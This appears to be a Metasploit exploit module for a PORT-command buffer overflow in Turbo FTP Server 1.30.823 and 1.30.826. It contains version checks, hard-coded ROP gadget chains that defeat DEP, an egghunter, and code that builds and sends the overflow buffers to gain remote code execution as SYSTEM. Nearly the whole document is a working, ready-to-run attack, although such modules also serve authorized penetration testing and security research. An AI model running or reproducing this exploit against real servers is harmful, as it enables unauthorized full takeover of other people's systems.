require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Turbo FTP Server 1.30.823 PORT Overflow',
'Description'=> %q{
This module exploits a buffer overflow vulnerability found in the PORT
command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote
code execution under the context of SYSTEM.
},
'Author' =>
[
'Zhao Liang',
'Lincoln',
'corelanc0d3r',
'thelightcosine'
],
'License'=> MSF_LICENSE,
'Platform' => [ 'win' ],
'References' =>
[
[ 'OSVDB', '85887' ]
],
'Payload'=>
{
'BadChars' => "\x00",
'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => { 'BufferRegister' => 'EDI' }
},
'Targets'=>
[
[ 'Automatic', {} ],
['Windows Universal TurboFtp 1.30.823',
{
'Ret' => 0x00411985,
'ver' => 823
},
],
[ 'Windows Universal TurboFtp 1.30.826',
{
'Ret' => 0x004fb207,
'ver' => 826
},
],
],
'DisclosureDate' => 'Oct 03 2012',
'DefaultTarget'=> 0))
end
def check
connect
disconnect
if (banner =~ /1\.30\.823/)
return Exploit::CheckCode::Vulnerable
elsif (banner =~ /1\.30\.826/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def create_rop_chain(ver)
if ver == 823
rop_gadgets =
[
0x004b692a,
0x005f6074,
0x0046f82a,
0x00423b95,
0x00423a27,
0x005d1c99,
0x004cad5d,
0x004ab16b,
0x00000001,
0x005ef7f6,
0x00001000,
0x005d7139,
0x00000040,
0x004df1e0,
0x00411985,
0x00502639,
0x90909090,
0x00468198,
].flatten.pack("V*")
elsif ver == 826
rop_gadgets =
[
0x0050eae4,
0x005f7074,
0x004aa7aa,
0x00496A65,
0x004badda,
0x00411867,
0x00000001,
0x0058a27a,
0x004df7dd,
0x005f07f6,
0x00001000,
0x004adc08,
0x00000040,
0x00465fbe,
0x004fb207,
0x00465f36,
0x90909090,
0x004687ff,
].flatten.pack("V*")
end
return rop_gadgets
end
def exploit
my_target = target
if my_target.name == 'Automatic'
print_status("Automatically detecting the target")
connect
disconnect
if (banner =~ /1\.30\.823/)
my_target = targets[1]
elsif (banner =~ /1\.30\.826/)
my_target = targets[2]
end
if (not my_target)
print_status("No matching target...quiting")
return
end
target = my_target
end
print_status("Selected Target: #{my_target.name}")
connect_login
rop_chain = create_rop_chain(target['ver'])
rop = rop_chain.unpack('C*').join(',')
eggoptions =
{
:checksum => true,
:eggtag => 'w00t',
:depmethod => 'virtualalloc',
:depreg => 'esi'
}
badchars = "\x00"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
speedupasm = "mov edx,eax\n"
speedupasm << "sub edx,0x1000\n"
speedupasm << "sub esp,0x1000"
speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string
fasterhunter = speedup
fasterhunter << hunter
print_status("Connecting to target #{target.name} server")
buf1 = rand_text_alpha(2012)
buf1 << egg
buf1 << rand_text_alpha(100)
buf2 = rand_text_alpha(4).unpack('C*').join(',')
buf2 << ","
buf2 << [target['Ret']].pack("V").unpack('C*').join(',')
buf2 << ","
buf2 << rop
buf2 << ","
buf2 << fasterhunter.unpack('C*').join(',')
buf2 << ","
buf2 << rand_text_alpha(90).unpack('C*').join(',')
send_cmd( ['CWD', buf1], true );
send_cmd( ['PORT', buf2], true );
print_status("Egghunter deployed, locating shellcode")
handler
disconnect
end
end